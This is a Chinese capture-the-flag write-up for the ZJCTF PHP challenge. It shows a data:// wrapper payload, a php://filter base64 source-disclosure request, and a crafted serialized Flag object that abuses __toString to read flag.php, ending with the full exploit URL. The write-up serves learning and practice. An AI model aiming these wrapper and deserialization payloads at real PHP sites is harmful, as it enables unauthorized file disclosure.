个人做题感受
1、php伪协议
也是刚开始学,这里参考这位大佬
2、php反序列化
3、过程
3.1 text
查看关于text,需要text内容存在,且text文件中的数据为welcome to the zjctf
用到了php伪协议中的data。
我们可以构造这样的
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里后面的base64编码的内容就是要求的welcome to the zjctf,具体data使用方法可以查找目录中给出的大佬博客。
3.2 file
对于file有
也就是说file不能包含flag,且提示了userless.php。则采用file://,构造
&file=php://filter/read=convert.base64-encode/resource=useless.php
拿到一长串数字。估计是base64编码,解码拿到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
3.3 password
对于password会采用反序列化,对于__tostring会在输出的时候调用。所以,我们需要在password输入flag的序列化结果,在程序反序列化之后,输出时自动调用__tostring魔法函数,从而输出文件内容。
我们可以直接在上面base64解码后程序中直接用serialize()函数对flag类进行序列化。
程序如下
class Flag{ //flag.php
public $file='flag.php'; //根据提示修改file的值
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
echo serialize(new Flag());
?>
构造
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
如果不一样,可以看一下是否把file设置值为’flag.php’
进入这样的一个页面
查看源代码可以拿到flag
完整的payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}